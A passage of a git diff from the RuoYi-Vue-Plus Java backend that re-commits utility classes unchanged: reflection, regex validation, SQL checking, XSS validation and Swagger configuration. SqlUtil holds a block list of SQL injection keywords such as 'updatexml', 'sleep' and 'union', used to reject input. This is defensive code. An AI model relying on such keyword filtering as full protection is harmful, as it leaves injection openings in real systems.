*/ + public static String getCityInfo(String ip) { + try { + ip = ip.trim(); + // 3、执行查询 + String region = SEARCHER.search(ip); + return region.replace("0|", "").replace("|0", ""); + } catch (Exception e) { + log.error("IP地址离线获取城市异常 {}", ip); + return "未知"; + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/reflect/ReflectUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/reflect/ReflectUtils.java index 073983f..7b5cfc4 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/reflect/ReflectUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/reflect/ReflectUtils.java @@ -1,56 +1,56 @@ -package org.dromara.common.core.utils.reflect; - -import cn.hutool.core.util.ReflectUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.StringUtils; - -import java.lang.reflect.Method; - -/** - * 反射工具类. 提供调用getter/setter方法, 访问私有变量, 调用私有方法, 获取泛型类型Class, 被AOP过的真实类等工具函数. - * - * @author Lion Li - */ -@SuppressWarnings("rawtypes") -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class ReflectUtils extends ReflectUtil { - - private static final String SETTER_PREFIX = "set"; - - private static final String GETTER_PREFIX = "get"; - - /** - * 调用Getter方法. - * 支持多级,如:对象名.对象名.方法 - */ - @SuppressWarnings("unchecked") - public static E invokeGetter(Object obj, String propertyName) { - Object object = obj; - for (String name : StringUtils.split(propertyName, ".")) { - String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(name); - object = invoke(object, getterMethodName); - } - return (E) object; - } - - /** - * 调用Setter方法, 仅匹配方法名。 - * 支持多级,如:对象名.对象名.方法 - */ - public static void invokeSetter(Object obj, String propertyName, E value) { - Object object = obj; - String[] names = StringUtils.split(propertyName, "."); - for (int i = 0; i < names.length; i++) { - if (i < names.length - 1) { - String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(names[i]); - object = invoke(object, getterMethodName); - } else { - String setterMethodName = SETTER_PREFIX + StringUtils.capitalize(names[i]); - Method method = getMethodByName(object.getClass(), setterMethodName); - invoke(object, method, value); - } - } - } - -} +package org.dromara.common.core.utils.reflect; + +import cn.hutool.core.util.ReflectUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.StringUtils; + +import java.lang.reflect.Method; + +/** + * 反射工具类. 提供调用getter/setter方法, 访问私有变量, 调用私有方法, 获取泛型类型Class, 被AOP过的真实类等工具函数. + * + * @author Lion Li + */ +@SuppressWarnings("rawtypes") +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class ReflectUtils extends ReflectUtil { + + private static final String SETTER_PREFIX = "set"; + + private static final String GETTER_PREFIX = "get"; + + /** + * 调用Getter方法. + * 支持多级,如:对象名.对象名.方法 + */ + @SuppressWarnings("unchecked") + public static E invokeGetter(Object obj, String propertyName) { + Object object = obj; + for (String name : StringUtils.split(propertyName, ".")) { + String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(name); + object = invoke(object, getterMethodName); + } + return (E) object; + } + + /** + * 调用Setter方法, 仅匹配方法名。 + * 支持多级,如:对象名.对象名.方法 + */ + public static void invokeSetter(Object obj, String propertyName, E value) { + Object object = obj; + String[] names = StringUtils.split(propertyName, "."); + for (int i = 0; i < names.length; i++) { + if (i < names.length - 1) { + String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(names[i]); + object = invoke(object, getterMethodName); + } else { + String setterMethodName = SETTER_PREFIX + StringUtils.capitalize(names[i]); + Method method = getMethodByName(object.getClass(), setterMethodName); + invoke(object, method, value); + } + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexUtils.java index 6dde129..1184a47 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexUtils.java @@ -1,31 +1,31 @@ -package org.dromara.common.core.utils.regex; - - -import cn.hutool.core.util.ReUtil; -import org.dromara.common.core.constant.RegexConstants; - -/** - * 正则相关工具类 - * - * @author Feng - */ -public final class RegexUtils extends ReUtil { - - /** - * 从输入字符串中提取匹配的部分,如果没有匹配则返回默认值 - * - * @param input 要提取的输入字符串 - * @param regex 用于匹配的正则表达式,可以使用 {@link RegexConstants} 中定义的常量 - * @param defaultInput 如果没有匹配时返回的默认值 - * @return 如果找到匹配的部分,则返回匹配的部分,否则返回默认值 - */ - public static String extractFromString(String input, String regex, String defaultInput) { - try { - String str = ReUtil.get(regex, input, 1); - return str == null ? defaultInput : str; - } catch (Exception e) { - return defaultInput; - } - } - -} +package org.dromara.common.core.utils.regex; + + +import cn.hutool.core.util.ReUtil; +import org.dromara.common.core.constant.RegexConstants; + +/** + * 正则相关工具类 + * + * @author Feng + */ +public final class RegexUtils extends ReUtil { + + /** + * 从输入字符串中提取匹配的部分,如果没有匹配则返回默认值 + * + * @param input 要提取的输入字符串 + * @param regex 用于匹配的正则表达式,可以使用 {@link RegexConstants} 中定义的常量 + * @param defaultInput 如果没有匹配时返回的默认值 + * @return 如果找到匹配的部分,则返回匹配的部分,否则返回默认值 + */ + public static String extractFromString(String input, String regex, String defaultInput) { + try { + String str = ReUtil.get(regex, input, 1); + return str == null ? defaultInput : str; + } catch (Exception e) { + return defaultInput; + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexValidator.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexValidator.java index c0dda20..c8dc104 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexValidator.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/regex/RegexValidator.java @@ -1,105 +1,105 @@ -package org.dromara.common.core.utils.regex; - -import cn.hutool.core.exceptions.ValidateException; -import cn.hutool.core.lang.Validator; -import org.dromara.common.core.factory.RegexPatternPoolFactory; - -import java.util.regex.Pattern; - -/** - * 正则字段校验器 - * 主要验证字段非空、是否为满足指定格式等 - * - * @author Feng - */ -public class RegexValidator extends Validator { - - /** - * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) - */ - public static final Pattern DICTIONARY_TYPE = RegexPatternPoolFactory.DICTIONARY_TYPE; - - /** - * 身份证号码(后6位) - */ - public static final Pattern ID_CARD_LAST_6 = RegexPatternPoolFactory.ID_CARD_LAST_6; - - /** - * QQ号码 - */ - public static final Pattern QQ_NUMBER = RegexPatternPoolFactory.QQ_NUMBER; - - /** - * 邮政编码 - */ - public static final Pattern POSTAL_CODE = RegexPatternPoolFactory.POSTAL_CODE; - - /** - * 注册账号 - */ - public static final Pattern ACCOUNT = RegexPatternPoolFactory.ACCOUNT; - - /** - * 密码:包含至少8个字符,包括大写字母、小写字母、数字和特殊字符 - */ - public static final Pattern PASSWORD = RegexPatternPoolFactory.PASSWORD; - - /** - * 通用状态(0表示正常,1表示停用) - */ - public static final Pattern STATUS = RegexPatternPoolFactory.STATUS; - - - /** - * 检查输入的账号是否匹配预定义的规则 - * - * @param value 要验证的账号 - * @return 如果账号符合规则,返回 true;否则,返回 false。 - */ - public static boolean isAccount(CharSequence value) { - return isMatchRegex(ACCOUNT, value); - } - - /** - * 验证输入的账号是否符合规则,如果不符合,则抛出 ValidateException 异常 - * - * @param value 要验证的账号 - * @param errorMsg 验证失败时抛出的异常消息 - * @param CharSequence 的子类型 - * @return 如果验证通过,返回输入的账号 - * @throws ValidateException 如果验证失败 - */ - public static T validateAccount(T value, String errorMsg) throws ValidateException { - if (!isAccount(value)) { - throw new ValidateException(errorMsg); - } - return value; - } - - /** - * 检查输入的状态是否匹配预定义的规则 - * - * @param value 要验证的状态 - * @return 如果状态符合规则,返回 true;否则,返回 false。 - */ - public static boolean isStatus(CharSequence value) { - return isMatchRegex(STATUS, value); - } - - /** - * 验证输入的状态是否符合规则,如果不符合,则抛出 ValidateException 异常 - * - * @param value 要验证的状态 - * @param errorMsg 验证失败时抛出的异常消息 - * @param CharSequence 的子类型 - * @return 如果验证通过,返回输入的状态 - * @throws ValidateException 如果验证失败 - */ - public static T validateStatus(T value, String errorMsg) throws ValidateException { - if (!isStatus(value)) { - throw new ValidateException(errorMsg); - } - return value; - } - -} +package org.dromara.common.core.utils.regex; + +import cn.hutool.core.exceptions.ValidateException; +import cn.hutool.core.lang.Validator; +import org.dromara.common.core.factory.RegexPatternPoolFactory; + +import java.util.regex.Pattern; + +/** + * 正则字段校验器 + * 主要验证字段非空、是否为满足指定格式等 + * + * @author Feng + */ +public class RegexValidator extends Validator { + + /** + * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) + */ + public static final Pattern DICTIONARY_TYPE = RegexPatternPoolFactory.DICTIONARY_TYPE; + + /** + * 身份证号码(后6位) + */ + public static final Pattern ID_CARD_LAST_6 = RegexPatternPoolFactory.ID_CARD_LAST_6; + + /** + * QQ号码 + */ + public static final Pattern QQ_NUMBER = RegexPatternPoolFactory.QQ_NUMBER; + + /** + * 邮政编码 + */ + public static final Pattern POSTAL_CODE = RegexPatternPoolFactory.POSTAL_CODE; + + /** + * 注册账号 + */ + public static final Pattern ACCOUNT = RegexPatternPoolFactory.ACCOUNT; + + /** + * 密码:包含至少8个字符,包括大写字母、小写字母、数字和特殊字符 + */ + public static final Pattern PASSWORD = RegexPatternPoolFactory.PASSWORD; + + /** + * 通用状态(0表示正常,1表示停用) + */ + public static final Pattern STATUS = RegexPatternPoolFactory.STATUS; + + + /** + * 检查输入的账号是否匹配预定义的规则 + * + * @param value 要验证的账号 + * @return 如果账号符合规则,返回 true;否则,返回 false。 + */ + public static boolean isAccount(CharSequence value) { + return isMatchRegex(ACCOUNT, value); + } + + /** + * 验证输入的账号是否符合规则,如果不符合,则抛出 ValidateException 异常 + * + * @param value 要验证的账号 + * @param errorMsg 验证失败时抛出的异常消息 + * @param CharSequence 的子类型 + * @return 如果验证通过,返回输入的账号 + * @throws ValidateException 如果验证失败 + */ + public static T validateAccount(T value, String errorMsg) throws ValidateException { + if (!isAccount(value)) { + throw new ValidateException(errorMsg); + } + return value; + } + + /** + * 检查输入的状态是否匹配预定义的规则 + * + * @param value 要验证的状态 + * @return 如果状态符合规则,返回 true;否则,返回 false。 + */ + public static boolean isStatus(CharSequence value) { + return isMatchRegex(STATUS, value); + } + + /** + * 验证输入的状态是否符合规则,如果不符合,则抛出 ValidateException 异常 + * + * @param value 要验证的状态 + * @param errorMsg 验证失败时抛出的异常消息 + * @param CharSequence 的子类型 + * @return 如果验证通过,返回输入的状态 + * @throws ValidateException 如果验证失败 + */ + public static T validateStatus(T value, String errorMsg) throws ValidateException { + if (!isStatus(value)) { + throw new ValidateException(errorMsg); + } + return value; + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/sql/SqlUtil.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/sql/SqlUtil.java index fcf9fb4..50a1ed3 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/sql/SqlUtil.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/sql/SqlUtil.java @@ -1,56 +1,56 @@ -package org.dromara.common.core.utils.sql; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.StringUtils; - -/** - * sql操作工具类 - * - * @author ruoyi - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class SqlUtil { - - /** - * 定义常用的 sql关键字 - */ - public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()"; - - /** - * 仅支持字母、数字、下划线、空格、逗号、小数点(支持多个字段排序) - */ - public static final String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+"; - - /** - * 检查字符,防止注入绕过 - */ - public static String escapeOrderBySql(String value) { - if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) { - throw new IllegalArgumentException("参数不符合规范,不能进行查询"); - } - return value; - } - - /** - * 验证 order by 语法是否符合规范 - */ - public static boolean isValidOrderBySql(String value) { - return value.matches(SQL_PATTERN); - } - - /** - * SQL关键字检查 - */ - public static void filterKeyword(String value) { - if (StringUtils.isEmpty(value)) { - return; - } - String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|"); - for (String sqlKeyword : sqlKeywords) { - if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1) { - throw new IllegalArgumentException("参数存在SQL注入风险"); - } - } - } -} +package org.dromara.common.core.utils.sql; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.StringUtils; + +/** + * sql操作工具类 + * + * @author ruoyi + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class SqlUtil { + + /** + * 定义常用的 sql关键字 + */ + public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()"; + + /** + * 仅支持字母、数字、下划线、空格、逗号、小数点(支持多个字段排序) + */ + public static final String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+"; + + /** + * 检查字符,防止注入绕过 + */ + public static String escapeOrderBySql(String value) { + if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) { + throw new IllegalArgumentException("参数不符合规范,不能进行查询"); + } + return value; + } + + /** + * 验证 order by 语法是否符合规范 + */ + public static boolean isValidOrderBySql(String value) { + return value.matches(SQL_PATTERN); + } + + /** + * SQL关键字检查 + */ + public static void filterKeyword(String value) { + if (StringUtils.isEmpty(value)) { + return; + } + String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|"); + for (String sqlKeyword : sqlKeywords) { + if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1) { + throw new IllegalArgumentException("参数存在SQL注入风险"); + } + } + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/AddGroup.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/AddGroup.java index 0275899..00d2f28 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/AddGroup.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/AddGroup.java @@ -1,9 +1,9 @@ -package org.dromara.common.core.validate; - -/** - * 校验分组 add - * - * @author Lion Li - */ -public interface AddGroup { -} +package org.dromara.common.core.validate; + +/** + * 校验分组 add + * + * @author Lion Li + */ +public interface AddGroup { +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/EditGroup.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/EditGroup.java index 77c5040..f1a54f8 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/EditGroup.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/EditGroup.java @@ -1,9 +1,9 @@ -package org.dromara.common.core.validate; - -/** - * 校验分组 edit - * - * @author Lion Li - */ -public interface EditGroup { -} +package org.dromara.common.core.validate; + +/** + * 校验分组 edit + * + * @author Lion Li + */ +public interface EditGroup { +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/QueryGroup.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/QueryGroup.java index 02a0ac2..1dd6195 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/QueryGroup.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/validate/QueryGroup.java @@ -1,9 +1,9 @@ -package org.dromara.common.core.validate; - -/** - * 校验分组 query - * - * @author Lion Li - */ -public interface QueryGroup { -} +package org.dromara.common.core.validate; + +/** + * 校验分组 query + * + * @author Lion Li + */ +public interface QueryGroup { +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/Xss.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/Xss.java index 6def063..511ef6f 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/Xss.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/Xss.java @@ -1,27 +1,27 @@ -package org.dromara.common.core.xss; - -import jakarta.validation.Constraint; -import jakarta.validation.Payload; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 自定义xss校验注解 - * - * @author Lion Li - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(value = {ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER}) -@Constraint(validatedBy = {XssValidator.class}) -public @interface Xss { - - String message() default "不允许任何脚本运行"; - - Class[] groups() default {}; - - Class[] payload() default {}; - -} +package org.dromara.common.core.xss; + +import jakarta.validation.Constraint; +import jakarta.validation.Payload; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 自定义xss校验注解 + * + * @author Lion Li + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(value = {ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER}) +@Constraint(validatedBy = {XssValidator.class}) +public @interface Xss { + + String message() default "不允许任何脚本运行"; + + Class[] groups() default {}; + + Class[] payload() default {}; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/XssValidator.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/XssValidator.java index 873d594..d02ae47 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/XssValidator.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/xss/XssValidator.java @@ -1,20 +1,20 @@ -package org.dromara.common.core.xss; - -import cn.hutool.core.util.ReUtil; -import cn.hutool.http.HtmlUtil; -import jakarta.validation.ConstraintValidator; -import jakarta.validation.ConstraintValidatorContext; - -/** - * 自定义xss校验注解实现 - * - * @author Lion Li - */ -public class XssValidator implements ConstraintValidator { - - @Override - public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext) { - return !ReUtil.contains(HtmlUtil.RE_HTML_MARK, value); - } - -} +package org.dromara.common.core.xss; + +import cn.hutool.core.util.ReUtil; +import cn.hutool.http.HtmlUtil; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; + +/** + * 自定义xss校验注解实现 + * + * @author Lion Li + */ +public class XssValidator implements ConstraintValidator { + + @Override + public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext) { + return !ReUtil.contains(HtmlUtil.RE_HTML_MARK, value); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 3395e73..081e0fd 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-core/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1,6 +1,6 @@ -org.dromara.common.core.config.ApplicationConfig -org.dromara.common.core.config.AsyncConfig -org.dromara.common.core.config.RuoYiConfig -org.dromara.common.core.config.ThreadPoolConfig -org.dromara.common.core.config.ValidatorConfig -org.dromara.common.core.utils.SpringUtils +org.dromara.common.core.config.ApplicationConfig +org.dromara.common.core.config.AsyncConfig +org.dromara.common.core.config.RuoYiConfig +org.dromara.common.core.config.ThreadPoolConfig +org.dromara.common.core.config.ValidatorConfig +org.dromara.common.core.utils.SpringUtils diff --git a/ruoyi-common/ruoyi-common-doc/pom.xml b/ruoyi-common/ruoyi-common-doc/pom.xml index c6199a1..0c21105 100644 --- a/ruoyi-common/ruoyi-common-doc/pom.xml +++ b/ruoyi-common/ruoyi-common-doc/pom.xml @@ -1,41 +1,41 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-doc - - - ruoyi-common-doc 系统接口 - - - - - org.dromara - ruoyi-common-core - - - - org.springdoc - springdoc-openapi-starter-webmvc-api - - - - com.github.therapi - therapi-runtime-javadoc - - - - com.fasterxml.jackson.module - jackson-module-kotlin - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-doc + + + ruoyi-common-doc 系统接口 + + + + + org.dromara + ruoyi-common-core + + + + org.springdoc + springdoc-openapi-starter-webmvc-api + + + + com.github.therapi + therapi-runtime-javadoc + + + + com.fasterxml.jackson.module + jackson-module-kotlin + + + + + diff --git a/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/SpringDocConfig.java b/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/SpringDocConfig.java index 069ef9a..b46171d 100644 --- a/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/SpringDocConfig.java +++ b/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/SpringDocConfig.java @@ -1,126 +1,126 @@ -package org.dromara.common.doc.config; - -import io.swagger.v3.oas.models.OpenAPI; -import io.swagger.v3.oas.models.Paths; -import io.swagger.v3.oas.models.info.Info; -import io.swagger.v3.oas.models.security.SecurityRequirement; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.doc.config.properties.SpringDocProperties; -import org.dromara.common.doc.handler.OpenApiHandler; -import org.springdoc.core.configuration.SpringDocConfiguration; -import org.springdoc.core.customizers.OpenApiBuilderCustomizer; -import org.springdoc.core.customizers.OpenApiCustomizer; -import org.springdoc.core.customizers.ServerBaseUrlCustomizer; -import org.springdoc.core.properties.SpringDocConfigProperties; -import org.springdoc.core.providers.JavadocProvider; -import org.springdoc.core.service.OpenAPIService; -import org.springdoc.core.service.SecurityService; -import org.springdoc.core.utils.PropertyResolverUtils; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.autoconfigure.web.ServerProperties; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; - -import java.util.ArrayList; -import java.util.List; -import java.util.Optional; -import java.util.Set; - -/** - * Swagger 文档配置 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@AutoConfiguration(before = SpringDocConfiguration.class) -@EnableConfigurationProperties(SpringDocProperties.class) -@ConditionalOnProperty(name = "springdoc.api-docs.enabled", havingValue = "true", matchIfMissing = true) -public class SpringDocConfig { - - private final ServerProperties serverProperties; - - @Bean - @ConditionalOnMissingBean(OpenAPI.class) - public OpenAPI openApi(SpringDocProperties properties) { - OpenAPI openApi = new OpenAPI(); - // 文档基本信息 - SpringDocProperties.InfoProperties infoProperties = properties.getInfo(); - Info info = convertInfo(infoProperties); - openApi.info(info); - // 扩展文档信息 - openApi.externalDocs(properties.getExternalDocs()); - openApi.tags(properties.getTags()); - openApi.paths(properties.getPaths()); - openApi.components(properties.getComponents()); - Set keySet = properties.getComponents().getSecuritySchemes().keySet(); - List list = new ArrayList<>(); - SecurityRequirement securityRequirement = new SecurityRequirement(); - keySet.forEach(securityRequirement::addList); - list.add(securityRequirement); - openApi.security(list); - - return openApi; - } - - private Info convertInfo(SpringDocProperties.InfoProperties infoProperties) { - Info info = new Info(); - info.setTitle(infoProperties.getTitle()); - info.setDescription(infoProperties.getDescription()); - info.setContact(infoProperties.getContact()); - info.setLicense(infoProperties.getLicense()); - info.setVersion(infoProperties.getVersion()); - return info; - } - - /** - * 自定义 openapi 处理器 - */ - @Bean - public OpenAPIService openApiBuilder(Optional openAPI, - SecurityService securityParser, - SpringDocConfigProperties springDocConfigProperties, PropertyResolverUtils propertyResolverUtils, - Optional> openApiBuilderCustomisers, - Optional> serverBaseUrlCustomisers, Optional javadocProvider) { - return new OpenApiHandler(openAPI, securityParser, springDocConfigProperties, propertyResolverUtils, openApiBuilderCustomisers, serverBaseUrlCustomisers, javadocProvider); - } - - /** - * 对已经生成好的 OpenApi 进行自定义操作 - */ - @Bean - public OpenApiCustomizer openApiCustomizer() { - String contextPath = serverProperties.getServlet().getContextPath(); - String finalContextPath; - if (StringUtils.isBlank(contextPath) || "/".equals(contextPath)) { - finalContextPath = ""; - } else { - finalContextPath = contextPath; - } - // 对所有路径增加前置上下文路径 - return openApi -> { - Paths oldPaths = openApi.getPaths(); - if (oldPaths instanceof PlusPaths) { - return; - } - PlusPaths newPaths = new PlusPaths(); - oldPaths.forEach((k, v) -> newPaths.addPathItem(finalContextPath + k, v)); - openApi.setPaths(newPaths); - }; - } - - /** - * 单独使用一个类便于判断 解决springdoc路径拼接重复问题 - * - * @author Lion Li - */ - static class PlusPaths extends Paths { - - public PlusPaths() { - super(); - } - } - -} +package org.dromara.common.doc.config; + +import io.swagger.v3.oas.models.OpenAPI; +import io.swagger.v3.oas.models.Paths; +import io.swagger.v3.oas.models.info.Info; +import io.swagger.v3.oas.models.security.SecurityRequirement; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.doc.config.properties.SpringDocProperties; +import org.dromara.common.doc.handler.OpenApiHandler; +import org.springdoc.core.configuration.SpringDocConfiguration; +import org.springdoc.core.customizers.OpenApiBuilderCustomizer; +import org.springdoc.core.customizers.OpenApiCustomizer; +import org.springdoc.core.customizers.ServerBaseUrlCustomizer; +import org.springdoc.core.properties.SpringDocConfigProperties; +import org.springdoc.core.providers.JavadocProvider; +import org.springdoc.core.service.OpenAPIService; +import org.springdoc.core.service.SecurityService; +import org.springdoc.core.utils.PropertyResolverUtils; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.autoconfigure.web.ServerProperties; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; + +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import java.util.Set; + +/** + * Swagger 文档配置 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@AutoConfiguration(before = SpringDocConfiguration.class) +@EnableConfigurationProperties(SpringDocProperties.class) +@ConditionalOnProperty(name = "springdoc.api-docs.enabled", havingValue = "true", matchIfMissing = true) +public class SpringDocConfig { + + private final ServerProperties serverProperties; + + @Bean + @ConditionalOnMissingBean(OpenAPI.class) + public OpenAPI openApi(SpringDocProperties properties) { + OpenAPI openApi = new OpenAPI(); + // 文档基本信息 + SpringDocProperties.InfoProperties infoProperties = properties.getInfo(); + Info info = convertInfo(infoProperties); + openApi.info(info); + // 扩展文档信息 + openApi.externalDocs(properties.getExternalDocs()); + openApi.tags(properties.getTags()); + openApi.paths(properties.getPaths()); + openApi.components(properties.getComponents()); + Set keySet = properties.getComponents().getSecuritySchemes().keySet(); + List list = new ArrayList<>(); + SecurityRequirement securityRequirement = new SecurityRequirement(); + keySet.forEach(securityRequirement::addList); + list.add(securityRequirement); + openApi.security(list); + + return openApi; + } + + private Info convertInfo(SpringDocProperties.InfoProperties infoProperties) { + Info info = new Info(); + info.setTitle(infoProperties.getTitle()); + info.setDescription(infoProperties.getDescription()); + info.setContact(infoProperties.getContact()); + info.setLicense(infoProperties.getLicense()); + info.setVersion(infoProperties.getVersion()); + return info; + } + + /** + * 自定义 openapi 处理器 + */ + @Bean + public OpenAPIService openApiBuilder(Optional openAPI, + SecurityService securityParser, + SpringDocConfigProperties springDocConfigProperties, PropertyResolverUtils propertyResolverUtils, + Optional> openApiBuilderCustomisers, + Optional> serverBaseUrlCustomisers, Optional javadocProvider) { + return new OpenApiHandler(openAPI, securityParser, springDocConfigProperties, propertyResolverUtils, openApiBuilderCustomisers, serverBaseUrlCustomisers, javadocProvider); + } + + /** + * 对已经生成好的 OpenApi 进行自定义操作 + */ + @Bean + public OpenApiCustomizer openApiCustomizer() { + String contextPath = serverProperties.getServlet().getContextPath(); + String finalContextPath; + if (StringUtils.isBlank(contextPath) || "/".equals(contextPath)) { + finalContextPath = ""; + } else { + finalContextPath = contextPath; + } + // 对所有路径增加前置上下文路径 + return openApi -> { + Paths oldPaths = openApi.getPaths(); + if (oldPaths instanceof PlusPaths) { + return; + } + PlusPaths newPaths = new PlusPaths(); + oldPaths.forEach((k, v) -> newPaths.addPathItem(finalContextPath + k, v)); + openApi.setPaths(newPaths); + }; + } + + /** + * 单独使用一个类便于判断 解决springdoc路径拼接重复问题 + * + * @author Lion Li + */ + static class PlusPaths extends Paths { + + public PlusPaths() { + super(); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/properties/SpringDocProperties.java b/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/properties/SpringDocProperties.java index eae3b4c..b225142 100644 --- a/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/properties/SpringDocProperties.java +++ b/ruoyi-common/ruoyi-common-doc/src/main/java/org/dromara/common/doc/config/properties/SpringDocProperties.java 